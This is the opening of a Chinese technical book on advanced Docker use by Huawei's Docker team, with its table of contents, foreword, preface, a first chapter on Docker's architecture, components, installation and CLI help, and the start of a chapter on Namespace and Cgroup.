容器技术系列

Docker进阶与实战

华为Docker实践小组　著

ISBN：978-7-111-52339-0

本书纸版由机械工业出版社于2016年出版，电子版由华章分社（北京华章图文信息有限公司，北京奥维博世图书发行有限公司）全球范围内制作与发行。

版权所有，侵权必究

客服热线：+ 86-10-68995265

客服信箱：service@bbbvip.com

官方网址：www.hzmedia.com.cn

新浪微博 @华章数媒

微信公众号 华章电子书（微信号：hzebook）

目录

序

前言

第1章　Docker简介

1.1　引言

1.1.1　Docker的历史和发展

1.1.2　Docker的架构介绍

1.2　功能和组件

1.2.1　Docker客户端

1.2.2　Docker　daemon

1.2.3　Docker容器

1.2.4　Docker镜像

1.2.5　Registry

1.3　安装和使用

1.3.1　Docker的安装

1.3.2　Docker的使用

1.4　概念澄清

1.4.1　Docker在LXC基础上做了什么工作

1.4.2　Docker容器和虚拟机之间有什么不同

1.5　本章小结

第2章　关于容器技术

2.1　容器技术的前世今生

2.1.1　关于容器技术

2.1.2　容器技术的历史

2.2　一分钟理解容器

2.2.1　容器的组成

2.2.2　容器的创建原理

2.3　Cgroup介绍

2.3.1　Cgroup是什么

2.3.2　Cgroup的接口和使用

2.3.3　Cgroup子系统介绍

2.4　Namespace介绍

2.4.1　Namespace是什么

2.4.2　Namespace的接口和使用

2.4.3　各个Namespace介绍

2.5　容器造就Docker

2.6　本章小结

第3章　理解Docker镜像

3.1　Docker　image概念介绍

3.2　使用Docker　image

3.2.1　列出本机的镜像

3.2.2　Build：创建一个镜像

3.2.3　Ship：传输一个镜像

3.2.4　Run：以image为模板启动一个容器

3.3　Docker　image的组织结构

3.3.1　数据的内容

3.3.2　数据的组织

3.4　Docker　image扩展知识

3.4.1　联合挂载

3.4.2　写时复制

3.4.3　Git式管理

3.5　本章小结

第4章　仓库进阶

4.1　什么是仓库

4.1.1　仓库的组成

4.1.2　仓库镜像

4.2　再看Docker　Hub

4.2.1　Docker　Hub的优点

4.2.2　网页分布

4.2.3　账户管理系统

4.3　仓库服务

4.3.1　Registry功能和架构

4.3.2　Registry　API

4.3.3　Registry　API传输过程分析

4.3.4　鉴权机制

4.4　部署私有仓库

4.4.1　运行私有服务

4.4.2　构建反向代理

4.5　Index及仓库高级功能

4.5.1　Index的作用和组成

4.5.2　控制单元

4.5.3　鉴权模块

4.5.4　数据库

4.5.5　高级功能

4.5.6　Index客户端界面

4.6　本章小结

第5章　Docker网络

5.1　Docker网络现状

5.2　基本网络配置

5.2.1　Docker网络初探

5.2.2　Docker网络相关参数

5.3　高级网络配置

5.3.1　容器跨主机多子网方案

5.3.2　容器跨主机多子网配置方法

5.4　网络解决方案进阶

5.4.1　Weave

5.4.2　Flannel

5.4.3　SocketPlane

5.5　本章小结

第6章　容器卷管理

6.1　Docker卷管理基础

6.1.1　增加新数据卷

6.1.2　将主机目录挂载为数据卷

6.1.3　创建数据卷容器

6.1.4　数据卷的备份、转储和迁移

6.1.5　Docker卷管理的问题

6.2　使用卷插件

6.2.1　卷插件简介

6.2.2　卷插件的使用

6.3　卷插件剖析

6.3.1　卷插件工作原理

6.3.2　卷插件API接口

6.3.3　插件发现机制

6.4　已有的卷插件

6.5　本章小结

第7章　Docker　API

7.1　关于Docker　API

7.1.1　REST简介

7.1.2　Docker　API初探

7.1.3　Docker　API种类

7.2　RESTful　API应用示例

7.2.1　前期准备

7.2.2　Docker　API的基本示例

7.3　API的高级应用

7.3.1　场景概述

7.3.2　场景实现

7.4　本章小结

第8章　Docker安全

8.1　深入理解Docker的安全

8.1.1　Docker的安全性

8.1.2　Docker容器的安全性

8.2　安全策略

8.2.1　Cgroup

8.2.2　ulimit

8.2.3　容器组网

8.2.4　容器+全虚拟化

8.2.5　镜像签名

8.2.6　日志审计

8.2.7　监控

8.2.8　文件系统级防护

8.2.9　capability

8.2.10　SELinux

8.2.11　AppArmor

8.2.12　Seccomp

8.2.13　grsecurity

8.2.14　几个与Docker安全相关的项目

8.3　安全加固

8.3.1　主机逃逸

8.3.2　安全加固之capability

8.3.3　安全加固之SELinux

8.3.4　安全加固之AppArmor

8.4　Docker安全遗留问题

8.4.1　User　Namespace

8.4.2　非root运行Docker　daemon

8.4.3　Docker热升级

8.4.4　磁盘限额

8.4.5　网络I/O

8.5　本章小结

第9章　Libcontainer简介

9.1　引擎的引擎

9.1.1　关于容器的引擎

9.1.2　对引擎的理解

9.2　Libcontainer的技术原理

9.2.1　为容器创建新的命名空间

9.2.2　为容器创建新的Cgroup

9.2.3　创建一个新的容器

9.2.4　Libcontainer的功能

9.3　关于runC

9.3.1　runC和Libcontainer的关系

9.3.2　runC的工作原理

9.3.3　runC的未来

9.4　本章小结

第10章　Docker实战

10.1　Dockerfile简介

10.1.1　一个简单的例子

10.1.2　Dockerfile指令

10.1.3　再谈Docker镜像制作

10.2　基于Docker的Web应用和发布

10.2.1　选择基础镜像

10.2.2　制作HTTPS服务器镜像

10.2.3　将Web源码导入Tomcat镜像中

10.2.4　部署与验证

10.3　为Web站点添加后台服务

10.3.1　代码组织结构

10.3.2　组件镜像制作过程

10.3.3　整体部署服务

10.4　本章小结

第11章　Docker集群管理

11.1　Compose

11.1.1　Compose概述

11.1.2　Compose配置简介

11.2　Machine

11.2.1　Machine概述

11.2.2　Machine的基本概念及运行流程

11.3　Swarm

11.3.1　Swarm概述

11.3.2　Swarm内部架构

11.4　Docker在OpenStack上的集群实战

11.5　本章小结

第12章　Docker生态圈

12.1　Docker生态圈介绍

12.2　重点项目介绍

12.2.1　编排

12.2.2　容器操作系统

12.2.3　PaaS平台

12.3　生态圈的未来发展

12.3.1　Docker公司的发展和完善方向

12.3.2　OCI组织

12.3.3　生态圈格局的分化和发展

12.4　本章小结

第13章　Docker测试

13.1　Docker自身测试

13.1.1　Docker自身的测试框架

13.1.2　运行Docker测试

13.1.3　在容器中手动运行测试用例

13.1.4　运行集成测试中单个或多个测试用例

13.1.5　Docker测试用例集介绍

13.1.6　Docker测试需要改进的方面

13.1.7　构建和测试文档

13.1.8　其他Docker测试套

13.2　Docker技术在测试中的应用

13.2.1　Docker对测试的革命性影响

13.2.2　Docker技术适用范围

13.2.3　Jenkins+Docker自动化环境配置

13.3　本章小结

第14章　参与Docker开发

14.1　改进Docker

14.1.1　报告问题

14.1.2　提交补丁

14.2　编译自己的Docker

14.2.1　使用make工具编译

14.2.2　手动启动容器编译

14.2.3　编译动态链接的可执行文件

14.2.4　跑测试用例及小结

14.3　开源的沟通和交流

14.3.1　Docker沟通和交流的途径

14.3.2　开源沟通和交流的建议

14.4　Docker项目的组织架构

14.4.1　管理模型

14.4.2　组织架构

14.5　本章小章

附录A　FAQ

附录B　常用Dockerfile

附录C　Docker信息获取渠道

序

我们这个团队的主业是操作系统内核开发。“太阳底下没有新鲜事”，这句话对于操作系统来说，有着深刻的意义。一个爆红的技术，寻根溯源，你会发现它往往已经在操作系统里潜伏很久。这种例子俯拾皆是。

虚拟化技术的源头可以追溯到20世纪70年代初期IBM的S370，但直到2003年的SOSP会议上一篇关于虚拟化的论文《Xen and the Art of Virtualization》引起广泛关注之后，虚拟化才走上发展的快车道。在软件领域，虚拟化技术把VMware打造成400亿美元量级的行业明星，又在硬件领域搅动了CPU、网络、存储等各个市场，迫使市场上的行业领袖做出相应的创新。现在，计算虚拟化、网络虚拟化、存储虚拟化这些概念已经深入人心。

而容器技术也不是全新的概念，系统容器最早可以追溯到20世纪80年代初期的chroot；打着轻量级虚拟化旗号的商用软件也是在21世纪之初由Virtuozzo提出的。但当时这个技术只是在系统管理员的小圈子里口耳相传，不愠不火地发展着。直到2013年，有一家叫作dotCloud的小公司开源了一个叫Docker的小项目……

若将Docker的核心技术层层剥离开来分析，作为操作系统开发人员，我们是无法理解Docker为什么会爆发成为行业里的新星的。因为严格来说，Docker用的所有关键技术都早已存在：

·Cgroup（Control Group）是Google在2006年启动开发的，算起来也有将近10年的历史了。

·对于Namespace，从最早的Mount namespace算起，不断迭代到今天，已成为包括UTS（系统标识）、IPC（进程间通信）、PID（进程标识）、Network（网络设备、IP地址以及路由表）、User（用户标识）等的技术，可谓洋洋大观。

·Aufs的历史可以追溯到1993年的Inheriting File System，虽然Aufs没有进入Linux主线，但也已经在Debian、Gentoo这样的主流发行版中得到应用。

这些“大叔辈”的技术，通过Docker引擎的组合，焕发出“小鲜肉”的吸引力。而从另一个方面看，那些在技术和理念上更先进的项目，比如OSv，反而远没有得到这种众星捧月般的待遇。

为什么会这样？这个疑问促使我们摘下操作系统开发人员的帽子，带上系统运维人员的帽子，带上应用开发者的帽子，换个角度审视自己从前的工作。

在这个角色转换的过程中，我们得到了很多的收获：

首先，我们代表国内的技术人为Docker社区做出了一些贡献，此为收获一。

因为换了一个角度，对这个技术兴起背后的原因有了更深刻的理解，此为收获二。

利用工作之余，将技术经验转化为文字，把容器技术传播给更广泛的受众，此为收获三。

如果读者在阅读本书和实践后，不仅知其然，而且知其所以然，并与我们一同把容器技术的发展推向下一个阶段，那可以算是最大的收获了。

是以为序！

华为2012实验室操作系统专家　胡欣蔚

2015年11月

前言

为什么要写这本书

在计算机技术日新月异的今天，Docker也算是其中异常璀璨的一员了。它的生态圈涉及内核、操作系统、虚拟化、云计算、DevOps等热门领域，受众群体也在不断扩大。

Docker在国内的发展如火如荼，短短一两年时间里就陆续出现了一批关于Docker的创业公司。华为公司作为国内开源领域的领导者，对Docker也有很大的投入，我们认为有必要把自己的知识积累和实践经验总结出来分享给广大开发者。除了吸引更多的人投入到Docker的生态建设以外，我们也希望通过本书帮助更多的读者更好、更快地掌握Docker关键技术。

关于本书

目前市场已经有一些不错的Docker入门图书，但多侧重于入门和具体的应用，本书会介绍一些Docker关键技术原理和高级使用技巧，适合有一定基础的读者。另外，本书会对Docker涉及的各个模块、关系和原理进行系统梳理，帮助读者对Docker加深认识，更好地应用Docker部署生产环境，最大程度安全有效地发挥Docker的价值。

本书不仅适合一般的Docker用户，也适合Docker生态圈中的开发者，希望它可以成为一本Docker进阶的图书，帮助读者快速提升。

本书是由华为整个Docker团队合作完成的，笔者包括（排名不分先后）：邓广兴、胡科平、胡欣蔚、黄强、雷继棠、李泽帆、凌发科、刘华、孙远、谢可杨、杨书奎、张伟、张文涛、邹钰。

本书的内容

本书的定位是有一定Docker基础的读者，所以在基本的概念和使用上，我们不会花过多的篇幅讲解，而是给出相应有价值的链接，作为读者的延伸阅读。

在内容上，除了对Docker进行系统的梳理外，同时还会对Docker背后的核心技术（即容器技术）及其历史进行介绍，进一步帮助读者更好地理解Docker。

章节划分则以功能模块为粒度，对每一个重要的模块进行了深入分析和讲解，同时也为热门领域单独开辟了章节。在每一章的最后都会讲解一些高级用法、使用技巧或实际应用中遇到的问题。虽然各章节的内容相对独立，但也会有一些穿插的介绍和补充，以帮助读者融会贯通，系统深入地理解Docker的每一个细节。

另外，本书的笔者都是一线的开发者和Docker社区活跃的贡献者，因此书中还专门准备了一个章节来介绍参与Docker开发的流程和经验。同时，伴随Docker的发展，Docker生态圈也在不断扩大并吸引了越来越多的人的关注。Docker集群管理和生态圈的介绍也将作为本书重点章节详细讲解。此外，Docker测试也是比较有特色的内容，分享了笔者在测试方面的经验。最后，附录中所包含的常用的Docker相关信息，可供读者需要时查询。

本书的内容和代码都是基于Docker 1.8版本的。在代码示例中，使用“#”开头的命令表示以root用户执行，以“$”开头的命令表示以普通用户执行。

勘误和支持

由于笔者水平有限，编写的时间也很仓促，书中难免会出现一些错误或者不准确的地方，恳请读者批评指正。读者可以把书中发现的问题或建议发送到邮箱docker@huawei.com，我们会尽快回复大家的疑问，并把收集的信息整理修正。

致谢

本书是由整个Docker团队协作完成的，由于繁忙的工作书稿撰写几度中止。感谢我们的项目经理裴斐月女士，正是她的整体协调和督促，以及与出版社的大量沟通，才促成了本书的出版。感谢李泽帆，他不仅参与了本书的写作，而且承担了全书的审读工作，给出了大量有价值的建议。还要感谢Stephen Li、陈佳波、杨开封、胡欣蔚和张殿芳，以及其他华为公司主管对我们写书的大力支持，感谢机械工业出版社的编辑耐心专业的指导和审核。最后，感谢我们每一位家人的支持陪伴，我们的工作因为有了家人的支持和期待才变得更有意义。

华为Docker实践小组

2015年11月

第1章　Docker简介

1.1　引言

1.1.1　Docker的历史和发展

自从2013年年初一个叫dotCloud的PaaS服务供应商将一个内部项目Docker开源之后，这个名字在短短几年内就迅速成为一个热词。似乎一夜之间，人人都开始谈论Docker，以至于这家公司干脆出售了其所持有的PaaS平台业务，并且改名为Docker.Inc，从而专注于Docker的开发和推广。

对于Docker，目前的定义是一个开源的容器引擎，可以方便地对容器（关于容器，将在第2章详细介绍）进行管理。其对镜像的打包封装，以及引入的Docker Registry对镜像的统一管理，构建了方便快捷的“Build，Ship and Run”流程，它可以统一整个开发、测试和部署的环境和流程，极大地减少运维成本。另外，得益于容器技术带来的轻量级虚拟化，以及Docker在分层镜像应用上的创新，Docker在磁盘占用、性能和效率方面相较于传统的虚拟化都有非常明显的提高，所以理所当然，Docker开始不断蚕食传统虚拟化的市场。

随着Docker技术的迅速普及，Docker公司持续进行融资，并且其估值也在不断攀升，同时，Docker公司也在不断地完善Docker生态圈，这一切使得Docker正慢慢成为轻量级虚拟化的代名词。在可预见的未来，很可能需要不断地刷新对Docker的定义。

目前Docker已加入Linux基金会，遵循Apache 2.0协议，其代码托管于[Github]（https://github.com/docker/docker）。

1.1.2　Docker的架构介绍

要了解Docker，首先要看看它的架构图，如图1-1所示。

图1-1　Docker架构图

从图1-1可知，Docker并没有传统虚拟化中的Hypervisor层。因为Docker是基于容器技术的轻量级虚拟化，相对于传统的虚拟化技术，省去了Hypervisor层的开销，而且其虚拟化技术是基于内核的Cgroup和Namespace技术，处理逻辑与内核深度融合，所以在很多方面，它的性能与物理机非常接近。

在通信上，Docker并不会直接与内核交互，它是通过一个更底层的工具Libcontainer与内核交互的。Libcontainer是真正意义上的容器引擎，它通过clone系统调用直接创建容器，通过pivot_root系统调用进入容器，且通过直接操作cgroupfs文件实现对资源的管控，而Docker本身则侧重于处理更上层的业务。

提示

Libcontainer的详细介绍可参见第9章。

Docker的另一个优势是对层级镜像的创新应用，即不同的容器可以共享底层的只读镜像，通过写入自己特有的内容后添加新的镜像层，新增的镜像层和下层的镜像一起又可以作为基础镜像被更上层的镜像使用。这种特性可以极大地提高磁盘利用率，所以当你的系统上有10个大小为1GB的镜像时，它们总共占用的空间大小可能只有5GB，甚至更少。另外，Docker对Union mount的应用还体现在多个容器使用同一个基础镜像时，可极大地减少内存占用等方面，因为不同的容器访问同一个文件时，只会占用一份内存。当然这需要使用支持Union mount的文件系统作为存储的Graph Driver，比如AUFS和Overlay。

1.2　功能和组件

Docker为了实现其所描述的酷炫功能，引入了以下核心概念：

·Docker客户端

·Docker daemon

·Docker容器

·Docker镜像

·Registry

下面就分别来简单地介绍一下。

1.2.1　Docker客户端

Docker是一个典型的C/S架构的应用程序，但在发布上，Docker将客户端和服务器端统一在同一个二进制文件中，不过，这只是对于Linux系统而言的，在其他平台如Mac上，Docker只提供了客户端。

Docker客户端一般通过Docker command来发起请求，另外，也可以通过Docker提供的一整套RESTful API来发起请求，这种方式更多地被应用在应用程序的代码中。

1.2.2　Docker daemon

Docker daemon也可以被理解成Docker Server，另外，人们也常常用Docker Engine来直接描述它，因为这实际上就是驱动整个Docker功能的核心引擎。

简单地说，Docker daemon实现的功能就是接收客户端发来的请求，并实现请求所要求的功能，同时针对请求返回相应的结果。在功能的实现上，因为涉及了容器、镜像、存储等多方面的内容，daemon内部的机制会复杂很多，涉及了多个模块的实现和交互。

1.2.3　Docker容器

在Docker的功能和概念中，容器是一个核心内容，相对于传统虚拟化，它作为一项基础技术在性能上给Docker带来了极大优势。

在功能上，Docker通过Libcontainer实现对容器生命周期的管理、信息的设置和查询，以及监控和通信等功能。而容器也是对镜像的完美诠释，容器以镜像为基础，同时又为镜像提供了一个标准的和隔离的执行环境。

在概念上，容器则很好地诠释了Docker集装箱的理念，集装箱可以存放任何货物，可以通过邮轮将货物运输到世界各地。运输集装箱的邮轮和装载卸载集装箱的码头都不用关心集装箱里的货物，这是一种标准的集装和运输方式。类似的，Docker的容器就是“软件界的集装箱”，它可以安装任意的软件和库文件，做任意的运行环境配置。开发及运维人员在转移和部署应用的时候，不用关心容器里装了什么软件，也不用了解它们是如何配置的。而管理容器的Docker引擎同样不关心容器里的内容，它只要像码头工人一样让这个容器运行起来就可以了，就像所有其他容器那样。

容器不是一个新的概念，但是Docker在对容器进行封装后，与集装箱的概念对应起来了，它之所以被称为“软件界的创新和革命”，是因为它会改变软件的开发、部署形态，降低成本，提高效率。Docker真正把容器推广到了全世界。

1.2.4　Docker镜像

与容器相对应，如果说容器提供了一个完整的、隔离的运行环境，那么镜像则是这个运行环境的静态体现，是一个还没有运行起来的“运行环境”。

相对于传统虚拟化中的ISO镜像，Docker镜像要轻量化很多，它只是一个可定制的rootfs。Docker镜像的另一个创新是它是层级的并且是可复用的，这在实际应用场景中极为有用，多数基于相同发行版的镜像，在大多数文件的内容上都是一样的，基于此，当然会希望可以复用它们，而Docker做到了。在此类应用场景中，利用Unionfs的特性，Docker会极大地减少磁盘和内存的开销。

Docker镜像通常是通过Dockerfile来创建的，Dockerfile提供了镜像内容的定制，同时也体现了层级关系的建立。另外Docker镜像也可以通过使用docker commit这样的命令来手动将修改后的内容生成镜像，这些都将在后续的章节详细介绍。

1.2.5　Registry

在前面提到的镜像中，曾指出Docker通过容器集装箱可以很方便地转运软件，其实，Registry也在其中扮演了重要的角色。

Registry是一个存放镜像的仓库，它通常被部署在互联网服务器或者云端。通常，集装箱是需要通过邮轮经行海洋运输到世界各地的，而互联网时代的传输则要方便很多，在镜像的传输过程中，Registry就是这个传输的重要中转站。假如我们在公司将一个软件的运行环境制作成镜像，并上传到Registry中，这时就可以很方便地在家里的笔记本上，或者在客户的生产环境上直接从Registry上下载并运行了。当然，对Registry的操作也是与Docker完美融合的，用户甚至不需要知道Registry的存在，只需要通过简单的Docker命令就可以实现上面的操作。

Docker公司提供的官方Registry叫Docker Hub，这上面提供了大多数常用软件和发行版的官方镜像，还有无数个人用户提供的个人镜像。其实，Registry本身也是一个单独的开源项目，任何人都可以下载后自己部署一个Registry。因为免费的Docker Hub功能相对简单，所以多数企业会选择自己部署Docker Registry后二次开发，或者购买功能更强大的企业版Docker Hub。

1.3　安装和使用

1.3.1　Docker的安装

Docker的安装和使用有一些前提条件，主要体现在体系架构和内核的支持上。对于体系架构，除了Docker一开始就支持的x86-64，其他体系架构的支持则一直在不断地完善和推进中，用户在安装前需要到Docker官方网站查看最新的支持情况。对于内核，目前官方的建议是3.10以上的版本，除了内核版本以外，Docker对于内核支持的功能，即内核的配置选项也有一定的要求（比如必须开启Cgroup和Namespace相关选项，以及其他的网络和存储驱动等）。如果你使用的是主流的发行版，那通常它们都已经打开了，如果使用的是定制化的内核，Docker源码中提供了一个检测脚本（目前的路径是./contrib/check-config.sh）来检测和指导内核的配置。

在满足前提条件后，安装就非常的简单了，对于多数主流的发行版，通常只需要一条简单的命令即可完成安装，比如在Ubuntu下，可以使用如下命令安装：

$ sudo apt-get install docker.io

当然，实际情况可能会相对复杂些，比如，虽然Ubuntu中通常自带了Docker，但用户常常需要使用最新版本的Docker，以至于不得不对其进行升级。对于安装和升级，以及不同发行版上的操作方法，官方网站上提供了更加详细的说明，本书不做过多的赘述，下面的链接给出了常用发行版的安装方法：

·[Ubuntu]（http://docs.docker.com/installation/ubuntulinux/）

·[Fedora]（http://docs.docker.com/installation/fedora/）

·[Debian]（http://docs.docker.com/installation/debian/）

·[Centos]（http://docs.docker.com/installation/centos/）

·[Gentoo]（http://docs.docker.com/installation/gentoolinux/）

·[Arch Linux]（http://docs.docker.com/installation/archlinux/）

·[Windows]（http://docs.docker.com/installation/windows/）

·[Mac OS X]（http://docs.docker.com/installation/mac/）

另外，用户也可以直接获取Docker binary来运行，http://docs.docker.com/installation/binaries/网址介绍了获取的方法。虽然这样更简单，但还是推荐使用完整安装的方式，因为通过软件包安装的Docker，除了有可执行文件之外，还包括了Shell自动完成脚本、man手册、服务运行和配置脚本等内容，可以帮助用户更好地配置和使用Docker。

提示

Docker还有一些其他更方便的安装方式，这将在后面的章节中详细介绍。

1.3.2　Docker的使用

对于Docker的使用，可以花整本书来介绍其中的各种细节、使用技巧和实战经验等，本节更希望告诉读者学习使用的方法，而对于使用技巧和实战经验会在本书的其他部分贯穿说明。

对于初学者，官方提供的[tryit]（https://www.docker.com/tryit/）是最好的快速入门途径，建议每一个初次接触Docker的用户都可以试一试。对于有一定经验的用户，在使用中遇到问题或者不确定具体的用法时，可以通过以下途径来查看帮助信息。

1）在控制台直接运行docker，这样会列出Docker支持的所有命令和一些通用的参数，如下：

$ docker
Usage: docker [OPTIONS] COMMAND [arg...]
docker daemon [ --help | ... ]
docker [ -h | --help | -v | --version ]
A self-sufficient runtime for containers.
Options:
--config=~/.docker               Location of client config files
-D, --debug=false               Enable debug mode
-H, --host=[]                   Daemon socket(s) to connect to
-h, --help=false                Print usage
-l, --log-level=info            Set the logging level
--tls=false                     Use TLS; implied by --tlsverify
--tlscacert=~/.docker/ca.pem    Trust certs signed only by this CA
--tlscert=~/.docker/cert.pem    Path to TLS certificate file
--tlskey=~/.docker/key.pem      Path to TLS key file
--tlsverify=false               Use TLS and verify the remote
-v, --version=false             Print version information and quit
Commands:
attach    Attach to a running container
build     Build an image from a Dockerfile
commit    Create a new image from a container's changes
cp        Copy files/folders from a container to a HOSTDIR or to STDOUT
create    Create a new container
diff      Inspect changes on a container's filesystem
events    Get real time events from the server
exec      Run a command in a running container
export    Export a container's filesystem as a tar archive
history   Show the history of an image
images    List images
import    Import the contents from a tarball to create a filesystem image
info      Display system-wide information
inspect   Return low-level information on a container or image
kill      Kill a running container
load      Load an image from a tar archive or STDIN
login     Register or log in to a Docker registry
logout    Log out from a Docker registry
logs      Fetch the logs of a container
pause     Pause all processes within a container
port      List port mappings or a specific mapping for the CONTAINER
ps        List containers
pull      Pull an image or a repository from a registry
push      Push an image or a repository to a registry
rename    Rename a container
restart   Restart a running container
rm        Remove one or more containers
rmi       Remove one or more images
run       Run a command in a new container
save      Save an image(s) to a tar archive
search    Search the Docker Hub for images
start     Start one or more stopped containers
stats     Display a live stream of container(s) resource usage statistics
stop      Stop a running container
tag       Tag an image into a repository
top       Display the running processes of a container
unpause   Unpause all processes within a container
version   Show the Docker version information
wait      Block until a container stops, then print its exit code
Run 'docker COMMAND --help' for more information on a command.

2）在控制台执行“docker+命令+--help”，比如“docker start--help”，这样会列出docker start命令支持的所有参数，如下：

$ docker start -–help
Usage:  docker start [OPTIONS] CONTAINER [CONTAINER...]
Start one or more stopped containers
-a, --attach=false         Attach STDOUT/STDERR and forward signals
--help=false               Print usage
-i, --interactive=false    Attach container's STDIN

3）使用man命令查看帮助文档。对于通过rpm包等方式安装的Docker，一般都会默认安装对应的man文档，此时可通过“man+docker+command”的方式查看子命令的帮助文档，比如“man docker start”，通常man手册中包含的帮助信息会更丰富一些，通过完整地阅读man手册，基本上就可以掌握该命令的常规用法。

DOCKER(1)                       JUNE 2014                           DOCKER(1)
NAME
docker-start - Start one or more stopped containers
SYNOPSIS
docker start [-a|--attach[=false]] [--help] [-i|--interactive[=false]] CONTAINER [CONTAINER...]
DESCRIPTION
Start one or more stopped containers.
OPTIONS
-a, --attach=true|false
Attach container's STDOUT and STDERR and forward all signals to the process. The default is false.
--help
Print usage statement
-i, --interactive=true|false
Attach container's STDIN. The default is false.
See also
docker-stop(1) to stop a running container.
HISTORY
April  2014,  Originally  compiled  by  William Henry (whenry at redhat dot com) based on docker.com source material and internal work.
June 2014, updated by Sven Dowideit (SvenDowideit@home.org.au)

1.4　概念澄清

本书的附录A是关于Docker常见问题的解答，但对于Docker基本概念方面的问题，希望读者可以在阅读完本章后就有清晰的认识，所以本节会针对与Docker概念息息相关的几个常见问题进行说明。

1.4.1　Docker在LXC基础上做了什么工作

首先我们需要明确LXC的概念，但这常常有不同的认识。LXC目前代表两种含义：

·LXC用户态工具（https://github.com/lxc/lxc）。

·Linux Container，即内核容器技术的简称。

这里通常指第二种，即Docker在内核容器技术的基础上做了什么工作。简单地说，Docker在内核容器技术（Cgroup和Namespace）的基础上，提供了一个更高层的控制工具，该工具包含以下特性。

·跨主机部署。Docker定义了镜像格式，该格式会将应用程序和其所依赖的文件打包到同一个镜像文件中，从而使其在转移到任何运行Docker的机器中时都可以运行，并能够保证在任何机器中该应用程序执行的环境都是一样的。LXC实现了“进程沙盒”，这一重要特性是跨主机部署的前提条件，但是只有这一点远远不够，比如，在一个特定的LXC配置下执行应用程序，将该应用程序打包并拷贝到另一个LXC环境下，程序很有可能无法正常执行，因为该程序的执行依赖于该机器的特定配置，包括网络、存储、发行版等。而Docker则将上述相关配置进行抽象并与应用程序一同打包，所以可以保证在不同硬件、不同配置的机器上Docker容器中运行的程序和其所依赖的环境及配置是一致的。

·以应用为中心。Docker为简化应用程序的部署过程做了很多优化，这一目的在Docker的API、用户接口、设计哲学和用户文档中都有体现，其Dockerfile机制大大简化和规范了应用的部署方法。

·自动构建。Docker提供了一套能够从源码自动构建镜像的工具。该工具可以灵活地使用make、maven、chef、puppet、salt、debian包、RPM和源码包等形式，将应用程序的依赖、构建工具和安装包进行打包处理，而且当前机器的配置不会影响镜像的构建过程。

·版本管理。Docker提供了类似于Git的版本管理功能，支持追踪镜像版本、检验版本更新、提交新的版本改动和回退版本等功能。镜像的版本信息中包括制作方式和制作者信息，因此可以从生产环境中回溯到上游开发人员。Docker同样实现了镜像的增量上传下载功能，用户可以通过获取新旧版本之间新增的镜像层来更新镜像版本，而不必下载完整镜像，类似Git中的pull命令。

·组件重用。任何容器都可以用作生成另一个组件的基础镜像。这一过程可以手动执行，也可以写入自动化构建的脚本。例如，可以创建一个包含Python开发环境的镜像，并将其作为基础镜像部署其他使用Python环境进行开发的应用程序。

·共享。Docker用户可以访问公共的镜像Registry，并向其中上传有用的镜像。Registry中同样包含由Docker公司维护的一些官方标准镜像。Docker Registry本身也是开源的，所以任何人都可以部署自己的Registry来存储并共享私有镜像。

·工具生态链。Docker定义了一系列API来定制容器的创建和部署过程并实现自动化。有很多工具能够与Docker集成并扩展Docker的能力，包括类PaaS部署工具（Dokku、Deis和Flynn）、多节点编排工具（Maestro、Salt、Mesos、OpenStack nova）、管理面板（Docker-ui、OpenStack Horizon、Shipyard）、配置管理工具（Chef、Puppet）、持续集成工具（Jenkins、Strider、Travis）等。Docker正在建立以容器为基础的工具集标准。

1.4.2　Docker容器和虚拟机之间有什么不同

容器与虚拟机是互补的。虚拟机是用来进行硬件资源划分的完美解决方案，它利用了硬件虚拟化技术，例如VT-x、AMD-V或者privilege level（权限等级）会同时通过一个hypervisor层来实现对资源的彻底隔离；而容器则是操作系统级别的虚拟化，利用的是内核的Cgroup和Namespace特性，此功能完全通过软件来实现，仅仅是进程本身就可以与其他进程隔离开，不需要任何辅助。

Docker容器与主机共享操作系统内核，不同的容器之间可以共享部分系统资源，因此容器更加轻量级，消耗的资源也更少。而虚拟机会独占分配给自己的资源，几乎不存在资源共享，各个虚拟机实例之间近乎完全隔离，因此虚拟机更加重量级，也会消耗更多的资源。我们可以很轻松地在一台普通的Linux机器上运行100个或者更多的Docker容器，而且不会占用太多系统资源（如果容器中没有执行运算任务或I/O操作）；而在单台机器上不可能创建100台虚拟机，因为每一个虚拟机实例都会占用一个完整的操作系统所需要的所有资源。另外，Docker容器启动很快，通常是秒级甚至是毫秒级启动。而虚拟机的启动虽然会快于物理机器，但是启动时间也是在数秒至数十秒的量级。

因此，可以根据需求的不同选择相应的隔离方式。如果需要资源完全隔离并且不考虑资源消耗，可以选择使用虚拟机；而若是想隔离进程并且需要运行大量进程实例，则应该选择Docker容器。

1.5　本章小结

本章对Docker的基本概念、组成和使用方法做了介绍，使读者对Docker有一个整体的认识，后续的章节会对本章提到的内容展开更详细的讲解，让读者对Docker有全面且细致的理解。

第2章　关于容器技术

在第1章对Docker的介绍中，已经知道容器技术是Docker的一项基础技术，而在当前对Docker的火热讨论中，容器也时常跟Docker一起被提及。作为Docker的进阶书籍，有必要对容器技术做一些探讨，以深刻理解Docker与相关技术之间的关联。

2.1　容器技术的前世今生

2.1.1　关于容器技术

容器技术，又称为容器虚拟化，从字面上看它首先是一种虚拟化技术。在如今的技术浪潮下，虚拟化技术层出不穷，包括硬件虚拟化、半虚拟化、操作系统虚拟化等。本书不会对虚拟化技术展开介绍，只需要知道容器虚拟化是一种操作系统虚拟化，是属于轻量级的虚拟化技术即可。又因为在实现原理上，每一种虚拟化技术之间都有较大的差别，所以即使没有虚拟化的技术背景，也是可以单独来学习容器虚拟化的。

容器技术之所以受欢迎，一个重要的原因是它已经集成到了Linux内核中，已经被当作Linux内核原生提供的特性。当然在其他平台上也有相应的容器技术，但本书讨论的以及Docker涉及的都是指Linux平台的容器技术。

对于容器，目前并没有一个严格的定义，但普遍认可的说法是，它首先必须是一个相对独立的运行环境，在这一点上，有点类似虚拟机的概念，但又没有虚拟机那样彻底。另外，在一个容器环境内，应该最小化其对外界的影响，比如不能在容器中把host上的资源全部消耗掉，这就是资源控制。

一般来说，容器技术主要包括Namespace和Cgroup这两个内核特性。

·Namespace又称为命名空间（也可翻译为名字空间），它主要做访问隔离。其原理是针对一类资源进行抽象，并将其封装在一起提供给一个容器使用，对于这类资源，因为每个容器都有自己的抽象，而它们彼此之间是不可见的，所以就可以做到访问隔离。

·Cgroup是control group的简称，又称为控制组，它主要是做资源控制。其原理是将一组进程放在一个控制组里，通过给这个控制组分配指定的可用资源，达到控制这一组进程可用资源的目的。

